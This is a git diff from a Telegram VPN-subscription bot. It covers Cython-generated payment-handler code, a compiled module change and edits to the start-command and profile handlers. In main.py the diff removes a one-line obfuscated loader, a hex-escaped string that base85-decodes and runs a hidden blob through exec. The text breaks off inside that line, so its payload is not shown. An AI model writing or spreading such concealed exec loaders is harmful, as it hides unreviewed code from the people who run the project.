__pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":21 - * from handlers.payments.gift import YOOKASSA_HASH - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< - * from logger import logger - * - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -10497,13 +9357,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":22 - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger # <<<<<<<<<<<<<< - * - * router = Router() - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); @@ -10518,13 +9371,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":24 - * from logger import logger - * - * router = Router() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) @@ -10533,26 +9379,12 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":28 - * - * - * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< - * logger.debug(f"Account ID: {YOOMONEY_ID}") - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { - /* "handlers/payments/yoomoney_pay.py":29 - * - * if YOOMONEY_ENABLE: - * logger.debug(f"Account ID: {YOOMONEY_ID}") # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) @@ -10572,22 +9404,8 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":28 - * - * - * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< - * logger.debug(f"Account ID: {YOOMONEY_ID}") - * - */ } - /* "handlers/payments/yoomoney_pay.py":32 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_yoomoney = State() - * waiting_for_payment_confirmation_yoomoney = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) @@ -10606,13 +9424,6 @@ if (!__Pyx_RefNanny) { } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":33 - * - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_yoomoney = State() # <<<<<<<<<<<<<< - * waiting_for_payment_confirmation_yoomoney = State() - * entering_custom_amount_yoomoney = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -10640,13 +9451,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":34 - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_yoomoney = State() - * waiting_for_payment_confirmation_yoomoney = State() # <<<<<<<<<<<<<< - * entering_custom_amount_yoomoney = State() - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -10674,13 +9478,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":35 - * choosing_amount_yoomoney = State() - * waiting_for_payment_confirmation_yoomoney = State() - * entering_custom_amount_yoomoney = State() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; @@ -10708,13 +9505,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yoomoney_pay.py":32 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_yoomoney = State() - * waiting_for_payment_confirmation_yoomoney = State() - */ __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) @@ -10723,13 +9513,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< - * async def process_callback_pay_yoomoney( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) @@ -10762,13 +9545,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yoomoney, __pyx_t_5) < 0) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":98 - * - * - * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) @@ -10804,13 +9580,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yoomoney_pay.py":135 - * - * - * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< - * data = await request.post() - * logger.debug(f"Webhook event received: {data}") - */ __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_request, __pyx_kp_s_web_Request) < 0) __PYX_ERR(0, 135, __pyx_L1_error) @@ -10821,13 +9590,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_yoomoney_webhook, __pyx_t_3) < 0) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":166 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 166, __pyx_L1_error) @@ -10859,13 +9621,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_3) < 0) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yoomoney_pay.py":181 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) @@ -10895,11 +9650,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yoomoney_pay.py":1 - * import hashlib # <<<<<<<<<<<<<< - * from typing import Any - * - */ __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_5) < 0) __PYX_ERR(0, 1, __pyx_L1_error) diff --git a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so index 459ed2d4..0483dd22 100755 Binary files a/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/profile.py b/handlers/profile.py index 2deb3153..87932b7d 100644 --- a/handlers/profile.py +++ b/handlers/profile.py @@ -55,9 +55,11 @@ async def process_callback_view_profile( profile_message = profile_message_send(username, chat_id, int(balance), key_count) if key_count == 0: - profile_message += "\n
🔧 Нажмите кнопку ➕ Подписка, чтобы настроить VPN-подключение
" + profile_message += ( + "\n
🔧 Нажмите кнопку ➕ Подписка, чтобы настроить VPN-подключение
" + ) else: - profile_message += f"\n
 {NEWS_MESSAGE}
" + profile_message += f"\n
{NEWS_MESSAGE}
" builder = InlineKeyboardBuilder() diff --git a/handlers/start.py b/handlers/start.py index 28a8eed3..c77177c4 100644 --- a/handlers/start.py +++ b/handlers/start.py @@ -54,8 +54,8 @@ async def start_command(message: Message, state: FSMContext, session: Any, admin try: await state.clear() - except Exception as e: - logger.warning(f"Не удалось очистить состояние для пользователя {message.chat.id}: {e}") + except Exception: + pass if CAPTCHA_ENABLE and captcha: captcha_data = await generate_captcha(message, state) @@ -67,6 +67,7 @@ async def start_command(message: Message, state: FSMContext, session: Any, admin member = await bot.get_chat_member(CHANNEL_ID, message.chat.id) if member.status not in ["member", "administrator", "creator"]: builder = InlineKeyboardBuilder() + await state.update_data(original_text=message.text) builder.row(InlineKeyboardButton(text="✅ Я подписался", callback_data="check_subscription")) await message.answer( f"Для использования бота, пожалуйста, подпишитесь на наш канал: {CHANNEL_URL}", @@ -86,8 +87,11 @@ async def start_command(message: Message, state: FSMContext, session: Any, admin await process_start_logic(message, state, session, admin) -async def process_start_logic(message: Message, state: FSMContext, session: Any, admin: bool): - if message.text: +async def process_start_logic( + message: Message, state: FSMContext, session: Any, admin: bool, text_to_process: str = None +): + text = text_to_process if text_to_process is not None else message.text + if text: try: connection_exists = await check_connection_exists(message.chat.id) logger.info(f"Проверка существования подключения: {connection_exists}") @@ -96,16 +100,15 @@ async def process_start_logic(message: Message, state: FSMContext, session: Any, await add_connection(tg_id=message.chat.id, session=session) logger.info(f"Пользователь {message.chat.id} успешно добавлен в базу данных.") - if "coupons_" in message.text: - logger.info(f"Обнаружена ссылка на купон: {message.text}") - coupon_code = message.text.split("coupons_")[1].strip() + if "coupons_" in text: + logger.info(f"Обнаружена ссылка на купон: {text}") + coupon_code = text.split("coupons_")[1].strip() logger.info(f"Пользователь {message.chat.id} ввёл купон: {coupon_code}") coupon = await session.fetchrow( "SELECT id, code, amount, usage_limit, usage_count, is_used FROM coupons WHERE code = $1", coupon_code, ) - if coupon is None: logger.warning(f"Купон {coupon_code} не найден.") await message.answer("❌ Купон не найден!") @@ -116,7 +119,6 @@ async def process_start_logic(message: Message, state: FSMContext, session: Any, coupon["id"], message.chat.id, ) - if usage_exists: logger.info(f"Пользователь {message.chat.id} уже активировал купон {coupon_code}.") await message.answer("❌ Вы уже использовали этот купон!") @@ -152,7 +154,7 @@ async def process_start_logic(message: Message, state: FSMContext, session: Any, await message.answer(f"🎉 Ваш баланс пополнен на {coupon['amount']} RUB по купону!") return await show_start_menu(message, admin, session) - if "gift_" in message.text: + if "gift_" in text: logger.info(f"Обнаружена ссылка на подарок: {message.text}") parts = message.text.split("gift_")[1].split("_") gift_id = parts[0] @@ -219,7 +221,7 @@ async def process_start_logic(message: Message, state: FSMContext, session: Any, logger.info(f"Подарок на {selected_months} месяцев активирован для пользователя {recipient_tg_id}.") return - elif "referral_" in message.text: + elif "referral_" in text: try: referrer_tg_id = int(message.text.split("referral_")[1]) @@ -262,16 +264,11 @@ async def process_start_logic(message: Message, state: FSMContext, session: Any, async def check_subscription_callback(callback_query: CallbackQuery, state: FSMContext, session: Any, admin: bool): user_id = callback_query.from_user.id logger.info(f"[CALLBACK] Получен callback 'check_subscription' от пользователя {user_id}") - try: - logger.info(f"[CALLBACK] Запрос информации о подписке для пользователя {user_id} на канал {CHANNEL_ID}") member = await bot.get_chat_member(CHANNEL_ID, user_id) logger.info(f"[CALLBACK] Статус подписки пользователя {user_id}: {member.status}") if member.status not in ["member", "administrator", "creator"]: - logger.info( - f"[CALLBACK] Пользователь {user_id} НЕ подписан на канал {CHANNEL_ID}. Текущий статус: {member.status}" - ) await callback_query.answer("Вы еще не подписаны на канал!", show_alert=True) builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text="✅ Я подписался", callback_data="check_subscription")) @@ -279,16 +276,12 @@ async def check_subscription_callback(callback_query: CallbackQuery, state: FSMC f"Для использования бота, пожалуйста, подпишитесь на наш канал: {CHANNEL_URL}", reply_markup=builder.as_markup(), ) - logger.info(f"[CALLBACK] Обновлено сообщение с приглашением подписаться для пользователя {user_id}") else: - logger.info(f"[CALLBACK] Пользователь {user_id} подписан на канал {CHANNEL_ID} - подписка подтверждена") await callback_query.answer("Подписка подтверждена!") - logger.info( - f"[CALLBACK] Перед вызовом process_start_logic для пользователя {user_id}. Текущее сообщение: {callback_query.message.text}" - ) - await process_start_logic(callback_query.message, state, session, admin) + data = await state.get_data() + original_text = data.get("original_text", callback_query.message.text) + await process_start_logic(callback_query.message, state, session, admin, text_to_process=original_text) logger.info(f"[CALLBACK] Завершен вызов process_start_logic для пользователя {user_id}") - except Exception as e: logger.error(f"[CALLBACK] Ошибка проверки подписки для пользователя {user_id}: {e}", exc_info=True) await callback_query.answer("Ошибка проверки подписки, повторите попытку", show_alert=True) diff --git a/main.py b/main.py index 75fbfbe0..36af6304 100644 --- a/main.py +++ b/main.py @@ -1 +1 @@ -_=exec;_('\x66\x72\x6f\x6d\x20\x62\x61\x73\x65\x36\x34\x20\x69\x6d\x70\x6f\x72\x74\x20\x62\x38\x35\x64\x65\x63\x6f\x64\x65\x20\x61\x73\x20\x5f\x3b\x5f\x5f\x5f\x3d\x62\x79\x74\x65\x73\x2e\x64\x65\x63\x6f\x64\x65\x3b\x5f\x5f\x3d\x65\x78\x65\x63\x3b\x5f\x5f\x28\x5f\x5f\x5f\x28\x5f\x28\x62\x27\x55\x70\x2d\x71\x66\x47\x26\x77\x39\x46\x46\x2a\x69\x39\x5a\x41\x54\x63\x73\x41\x45\x46\x64\x26\x37\x45\x46\x64\x2a\x37\x45\x46\x64\x3e\x48\x45\x46\x64\x7b\x43\x45\x46\x64\x76\x43\x46\x66\x31\x54\x34\x46\x2a\x59\x6e\x39\x46\x29\x25\x59\x4d\x41\x54\x6c\x66\x3c\x49\x35\x6a\x4c\x46\x46\x2a\x21\x43\x59\x41\x54\x76\x32\x45\x41\x54\x6c\x2a\x46\x45\x46\x64\x79\x35\x49\x34\x6d\x47\x49\x47\x25\x4f\x25\x38\x48\x38\x4c\x7a\x39\x47\x42\x47\x77\x52\x41\x54\x75\x23\x36\x41\x54\x63\x76\x43\x45\x46\x64\x2a\x39\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x45\x48\x59\x5e\x7d\x44\x49\x34\x6d\x47\x43\x46\x67\x50\x71\x41\x47\x42\x37\x59\x4b\x41\x54\x6c\x79\x44\x45\x46\x64\x76\x38\x48\x59\x5e\x7d\x39\x49\x57\x61\x36\x43\x48\x59\x5e\x7d\x39\x48\x61\x39\x46\x46\x46\x2a\x59\x24\x51\x41\x54\x6c\x79\x36\x41\x54\x6c\x79\x36\x41\x54\x6c\x26\x38\x41\x54\x6c\x76\x42\x45\x46\x64\x76\x38\x48\x59\x5e\x7d\x47\x48\x21\x4c\x37\x41\x46\x66\x26\x7e\x7b\x55\x74\x63\x7c\x4a\x57\x6f\x7b\x5e\x36\x44\x4c\x59\x3f\x5a\x55\x70\x2d\x7d\x62\x57\x6e\x28\x2a\x45\x55\x74\x65\x45\x65\x4a\x74\x72\x71\x53\x33\x54\x41\x49\x7c\x41\x59\x57\x66\x21\x55\x74\x65\x45\x65\x45\x4d\x48\x24\x3d\x55\x74\x65\x44\x21\x58\x3e\x4b\x35\x38\x5a\x67\x70\x2a\x43\x61\x24\x24\x36\x33\x43\x7c\x66\x63\x23\x47\x62\x7c\x75\x36\x49\x57\x73\x49\x45\x47\x42\x50\x59\x36\x48\x61\x49\x4c\x47\x46\x2a\x71\x7a\x42\x47\x25\x2b\x6b\x37\x47\x63\x7a\x6e\x38\x47\x42\x47\x74\x51\x41\x54\x63\x26\x4c\x45\x46\x64\x3e\x41\x45\x46\x64\x76\x33\x48\x21\x4c\x37\x45\x48\x59\x5e\x7d\x39\x49\x34\x7e\x3f\x41\x48\x21\x3e\x5f\x42\x46\x2a\x47\x74\x50\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x34\x48\x59\x5e\x7d\x39\x48\x38\x4c\x7a\x39\x46\x2a\x72\x46\x61\x41\x54\x63\x73\x44\x45\x46\x64\x79\x37\x48\x37\x70\x3d\x46\x49\x56\x3e\x50\x43\x48\x38\x3f\x43\x46\x49\x57\x6a\x43\x44\x49\x57\x3b\x55\x47\x46\x2a\x59\x2b\x53\x41\x54\x63\x3b\x4d\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x39\x48\x38\x55\x28\x41\x47\x42\x37\x6b\x4f\x41\x54\x75\x7e\x44\x41\x54\x6c\x26\x4b\x45\x46\x64\x79\x39\x47\x25\x4f\x25\x41\x48\x37\x70\x3d\x45\x47\x62\x7c\x75\x38\x48\x21\x4c\x37\x41\x48\x23\x61\x4f\x47\x47\x42\x50\x2b\x55\x41\x54\x3d\x3b\x37\x41\x54\x25\x72\x3e\x46\x2a\x68\x5f\x55\x41\x54\x6c\x23\x48\x45\x46\x64\x5e\x42\x45\x46\x64\x76\x34\x49\x34\x6d\x47\x42\x46\x67\x59\x77\x42\x46\x29\x25\x56\x4c\x41\x54\x3e\x38\x45\x41\x54\x63\x23\x46\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x37\x46\x29\x53\x63\x38\x46\x29\x53\x63\x38\x46\x29\x53\x63\x34\x48\x38\x4c\x7a\x39\x49\x57\x3b\x55\x47\x46\x2a\x21\x43\x59\x41\x54\x63\x3b\x4a\x45\x46\x64\x5e\x36\x41\x54\x63\x76\x43\x45\x46\x64\x79\x37\x47\x41\x74\x6c\x37\x49\x56\x3e\x50\x44\x46\x2a\x59\x6e\x39\x48\x23\x52\x49\x46\x47\x42\x50\x71\x4f\x41\x54\x75\x79\x35\x41\x55\x38\x48\x46\x41\x54\x63\x79\x42\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x41\x47\x63\x59\x56\x35\x46\x2a\x5a\x33\x59\x41\x54\x6c\x79\x48\x45\x46\x64\x76\x35\x48\x59\x5e\x7d\x39\x48\x38\x3f\x43\x46\x46\x2a\x21\x43\x59\x41\x54\x63\x70\x42\x45\x46\x64\x3e\x44\x45\x46\x64\x7b\x48\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x48\x23\x39\x36\x44\x46\x29\x3d\x4a\x34\x47\x63\x68\x62\x36\x47\x42\x68\x28\x52\x41\x54\x6c\x76\x43\x45\x46\x64\x23\x43\x45\x46\x64\x5e\x42\x45\x46\x64\x5e\x47\x45\x46\x64\x76\x35\x47\x62\x7c\x75\x38\x49\x34\x6d\x47\x43\x47\x42\x7a\x77\x41\x46\x2a\x59\x7a\x50\x41\x54\x6c\x66\x3c\x48\x39\x30\x49\x47\x47\x64\x56\x30\x45\x47\x42\x59\x74\x4f\x41\x54\x63\x73\x43\x45\x46\x64\x76\x36\x47\x41\x74\x6c\x35\x49\x57\x52\x30\x42\x46\x29\x25\x71\x53\x41\x54\x63\x26\x44\x45\x46\x64\x76\x39\x46\x66\x31\x54\x35\x49\x34\x6d\x47\x42\x48\x23\x61\x4f\x47\x46\x29\x25\x62\x4e\x41\x54\x63\x23\x43\x45\x46\x64\x3e\x44\x45\x46\x64\x7b\x47\x45\x46\x64\x76\x37\x46\x66\x31\x54\x33\x48\x23\x52\x49\x46\x46\x2a\x72\x33\x57\x41\x54\x6c\x2a\x44\x45\x46\x64\x76\x43\x47\x62\x7c\x75\x45\x46\x66\x31\x54\x34\x46\x66\x6c\x41\x33\x47\x42\x71\x3c\x53\x41\x54\x63\x70\x38\x45\x46\x64\x76\x34\x49\x56\x3e\x50\x45\x47\x41\x74\x6c\x35\x47\x64\x33\x28\x42\x47\x42\x50\x2b\x55\x41\x54\x3d\x7b\x41\x41\x55\x48\x42\x43\x41\x54\x6c\x73\x39\x45\x46\x64\x79\x34\x47\x62\x7c\x75\x43\x47\x41\x74\x6c\x36\x49\x56\x3e\x50\x43\x46\x29\x25\x44\x33\x48\x38\x64\x3c\x42\x48\x5a\x76\x3f\x42\x46\x2a\x47\x77\x51\x41\x54\x63\x76\x43\x45\x46\x64\x23\x36\x45\x46\x64\x2a\x47\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x35\x48\x21\x76\x28\x39\x46\x29\x7d\x6b\x4f\x41\x54\x63\x76\x43\x45\x46\x64\x76\x43\x46\x66\x31\x54\x36\x49\x34\x6d\x47\x42\x49\x57\x73\x49\x45\x46\x2a\x37\x6e\x4f\x41\x54\x63\x6d\x41\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x46\x45\x46\x64\x76\x41\x49\x34\x6d\x47\x49\x48\x59\x5e\x7d\x48\x47\x41\x74\x6c\x36\x47\x63\x59\x56\x35\x46\x2a\x47\x3c\x56\x41\x54\x63\x26\x4b\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x36\x47\x63\x5f\x7a\x41\x47\x63\x2b\x74\x39\x47\x42\x71\x28\x51\x41\x54\x6c\x76\x47\x45\x46\x64\x23\x45\x45\x46\x64\x23\x45\x45\x46\x64\x3b\x38\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x41\x47\x42\x5f\x2b\x43\x48\x38\x4c\x7a\x39\x49\x35\x73\x52\x47\x47\x42\x59\x77\x50\x41\x54\x6c\x23\x4b\x45\x46\x64\x75\x7e\x41\x55\x38\x4b\x47\x41\x55\x48\x48\x45\x41\x54\x63\x3b\x42\x41\x54\x75\x3e\x41\x41\x54\x6c\x79\x44\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x43\x49\x56\x3e\x50\x43\x47\x42\x50\x59\x36\x47\x26\x77\x39\x46\x47\x42\x68\x3f\x55\x41\x54\x63\x70\x48\x45\x46\x64\x76\x39\x46\x66\x31\x54\x33\x48\x23\x39\x36\x44\x46\x29\x3d\x6e\x51\x41\x54\x63\x26\x44\x45\x46\x64\x76\x39\x46\x66\x31\x54\x36\x48\x21\x4c\x37\x41\x49\x35\x38\x7c\x42\x46\x29\x25\x62\x4e\x41\x54\x63\x23\x43\x45\x46\x64\x23\x35\x45\x46\x64\x5e\x36\x41\x54\x63\x79\x42\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x39\x49\x35\x3b\x64\x49\x46\x2a\x5a\x30\x58\x41\x54\x6c\x26\x4c\x45\x46\x64\x7b\x42\x45\x46\x64\x79\x36\x47\x62\x7c\x75\x36\x49\x57\x7b\x61\x48\x46\x29\x3d\x71\x52\x41\x55\x48\x4e\x47\x41\x54\x7e\x48\x47\x41\x54\x63\x2a\x47\x45\x46\x64\x79\x39\x47\x62\x7c\x75\x41\x47\x62\x7c\x75\x41\x49\x56\x3e\x50\x43\x48\x23\x6a\x55\x48\x47\x42\x59\x5f\x57\x41\x54\x63\x5a\x3b\x48\x23\x39\x36\x44\x47\x25\x4f\x25\x37\x49\x34\x6d\x47\x44\x48\x37\x70\x3d\x38\x47\x63\x5f\x7a\x41\x46\x2a\x72\x46\x61\x41\x54\x6c\x23\x37\x41\x55\x51\x4e\x46\x41\x54\x25\x7b\x42\x41\x54\x6c\x2a\x46\x45\x46\x64\x76\x43\x45\x46\x64\x79\x36\x47\x62\x7c\x75\x36\x47\x63\x2b\x74\x39\x47\x26\x43\x24\x41\x46\x2a\x50\x28\x53\x41\x54\x63\x3b\x4d\x45\x46\x64\x3b\x46\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x43\x48\x21\x4c\x37\x42\x47\x42\x47\x53\x35\x48\x5a\x3f\x33\x44\x46\x29\x25\x56\x4c\x41\x54\x63\x26\x4c\x45\x46\x64\x76\x41\x47\x62\x7c\x75\x37\x47\x64\x56\x30\x45\x47\x42\x71\x28\x51\x41\x54\x6c\x79\x48\x45\x46\x64\x76\x35\x48\x59\x5e\x7d\x39\x48\x38\x3f\x43\x46\x46\x2a\x50\x24\x52\x41\x54\x63\x6d\x41\x45\x46\x64\x3e\x44\x45\x46\x64\x7b\x48\x45\x46\x64\x76\x42\x47\x62\x7c\x75\x36\x48\x61\x49\x4c\x47\x46\x29\x3d\x4a\x34\x47\x63\x68\x62\x36\x47\x42\x68\x7a\x50\x41\x54\x63\x76\x4a\x45\x46\x64\x23\x43\x45\x46\x64\x5e\x42\x45\x46\x64\x23\x31\x41\x54\x63\x73\x45\x45\x46\x64\x26\x42\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x42\x47\x63\x71\x68\x37\x47\x63\x68\x62\x36\x46\x29\x25\x59\x4d\x41\x55\x51\x63\x4b\x41\x54\x63\x23\x45\x45\x46\x64\x7b\x47\x45\x46\x64\x79\x34\x48\x37\x70\x3d\x39\x47\x64\x56\x30\x45\x49\x34\x6d\x47\x42\x47\x63\x71\x68\x37\x46\